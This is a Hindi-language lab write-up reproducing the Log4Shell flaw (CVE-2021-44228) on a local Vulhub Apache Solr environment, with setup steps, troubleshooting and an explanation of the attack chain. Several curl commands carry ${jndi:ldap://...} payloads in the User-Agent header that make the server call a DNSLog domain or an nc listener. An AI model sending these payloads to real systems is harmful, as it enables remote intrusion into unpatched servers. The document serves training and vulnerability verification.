
CVE-2021-44228 कमजोरी का पुनरुत्पादन पूर्ण रिकॉर्ड (पर्यावरण सेटअप, ट्रिगर सत्यापन सहित)
यह रिकॉर्ड Vulhub द्वारा प्रदान किए गए Apache Solr 8.11.0 प्रशिक्षण मैदान पर आधारित है, जिसमें Log4j2 JNDI इंजेक्शन भेद्यता का पूरी तरह से पुनरुत्पादन किया गया है, और DNSLog और स्थानीय LDAP मॉनिटरिंग के माध्यम से भेद्यता के अस्तित्व को सफलतापूर्वक सत्यापित किया गया है।
vulhub/log4j/CVE-2021-44228)GitHub से सीधा कनेक्शन अस्थिर होने के कारण, Gitee मिरर का उपयोग करके त्वरित किया गया:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
Alibaba Cloud विशेष इमेज एक्सेलेरेटर कॉन्फ़िगर करें (व्यक्तिगत पता प्राप्त करने के लिए कंटेनर इमेज सेवा में लॉग इन करें):
registry-mirrors संशोधित करें:{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
यदि अभी भी TLS handshake timeout का सामना करना पड़ता है, तो WSL में sudo hwclock -s चलाकर समय सिंक करें।
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
आउटपुट सफलता दर्शाता है:
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
http://localhost:8983/solr पर जाकर Solr प्रबंधन इंटरफ़ेस दिखाई देता है, वातावरण तैयार है।
Solr में डिफ़ॉल्ट रूप से कोई core नहीं है, इसे मैन्युअल रूप से बनाना होगा:
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
"status":0 लौटता है, core test सफलतापूर्वक बन गया।
ब्राउज़र में http://dnslog.cn खोलें, Get SubDomain पर क्लिक करें, एक अस्थायी डोमेन नाम प्राप्त करें, उदाहरण के लिए abc123.dnslog.cn
कमांड लाइन में निष्पादित करें (PowerShell उपनाम हस्तक्षेप से बचने के लिए curl.exe का उपयोग करें):
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
http://dnslog.cn पेज पर वापस जाएँ, Refresh Record पर क्लिक करें, तुरंत DNS रिज़ॉल्यूशन रिकॉर्ड दिखाई देता है, जो भेद्यता के अस्तित्व को साबित करता है।
WSL में मॉनिटरिंग शुरू करें: nc -lvp 1389
होस्ट मशीन का IP प्राप्त करें (Windows PowerShell में ipconfig चलाएँ, WSL वर्चुअल नेटवर्क एडेप्टर का IP खोजें, जैसे 172.30.208.1)
स्थानीय IP के साथ दुर्भावनापूर्ण अनुरोध भेजें:
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
nc विंडो का निरीक्षण करें, कनेक्शन जानकारी दिखाई देती है:
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
यह साबित करता है कि Solr ने सफलतापूर्वक आक्रमण मशीन पर LDAP क्वेरी भेजी, भेद्यता पुनरुत्पादन सफल रहा।
Apache Log4j2 द्वारा प्रदान की गई JndiLookup सुविधा लॉग संदेशों में ${jndi:ldap://...} प्रारूप के प्लेसहोल्डर का उपयोग करने की अनुमति देती है। जब लॉग संदेश रिकॉर्ड किया जाता है, तो Log4j2 उस प्लेसहोल्डर को पार्स करता है और JNDI के माध्यम से दूरस्थ LDAP सर्वर तक पहुँचने का प्रयास करता है। हमलावर एक दुर्भावनापूर्ण LDAP सर्वर स्थापित कर सकता है जो Java डीसीरियलाइज़ेशन पेलोड लौटाता है, जिससे रिमोट कोड निष्पादन संभव होता है।
इस पुनरुत्पादन में, User-Agent हेडर को दुर्भावनापूर्ण पेलोड पर सेट करके, Solr ने अनुरोध को संसाधित करते समय उस हेडर को रिकॉर्ड किया, जिससे JNDI क्वेरी ट्रिगर हुई, जो भेद्यता के अस्तित्व को साबित करती है।
✅ Vulhub भेद्यता वातावरण सफलतापूर्वक स्थापित किया गया, घरेलू नेटवर्क के तहत कई समस्याओं (DNS हाईजैक, इमेज एक्सेलेरेशन, WSL समय सिंक्रोनाइज़ेशन आदि) को दूर किया गया।
✅ स्वतंत्र रूप से भेद्यता ट्रिगरिंग पूरी की गई, DNSLog और स्थानीय मॉनिटरिंग दो तरीकों से JNDI इंजेक्शन को सत्यापित किया गया।
✅ Log4Shell भेद्यता सिद्धांत और JNDI इंजेक्शन के हमले की श्रृंखला की गहन समझ प्राप्त की गई।
✅ Docker नेटवर्क समस्या निवारण, WSL2 कॉन्फ़िगरेशन, Git प्रॉक्सी क्लीनअप आदि में व्यावहारिक अनुभव अर्जित किया गया।
| समस्या घटना | मूल कारण | समाधान |
|---|---|---|
| git clone 502 / कनेक्शन टाइमआउट | DNS हाईजैक / प्रॉक्सी हस्तक्षेप | Gitee मिरर का उपयोग करें, Git प्रॉक्सी साफ़ करें, DNS रिफ़्रेश करें |
| Docker इमेज पुलिंग पर 429 | सार्वजनिक इमेज स्रोत रेट लिमिट | Alibaba Cloud विशेष एक्सेलेरेटर कॉन्फ़िगर करें |
| TLS handshake timeout | WSL2 समय सिंक न होना | sudo hwclock -s से समय सिंक करें |
| भेद्यता ट्रिगर नहीं हो रही | core नहीं बनाया गया या पेलोड गलत स्थान | core बनाएँ, User-Agent हेडर का उपयोग करें |
# Vulhub क्लोन करें (Gitee मिरर का उपयोग करके)
git clone https://gitee.com/hanxu2486/vulhub.git
# भेद्यता निर्देशिका में प्रवेश करें
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# वातावरण प्रारंभ करें
docker-compose up -d
# Solr Core बनाएँ
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# DNSLog सत्यापन
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# स्थानीय मॉनिटरिंग सत्यापन (WSL में nc चलाएँ)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# वातावरण बंद करें
docker-compose down
Vulhub आधिकारिक परियोजना
CVE-2021-44228 विवरण
DNSLog प्लेटफ़ॉर्म
लेखन तिथि: जून 2026
लेखक: HanXu
रिपॉजिटरी पता: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication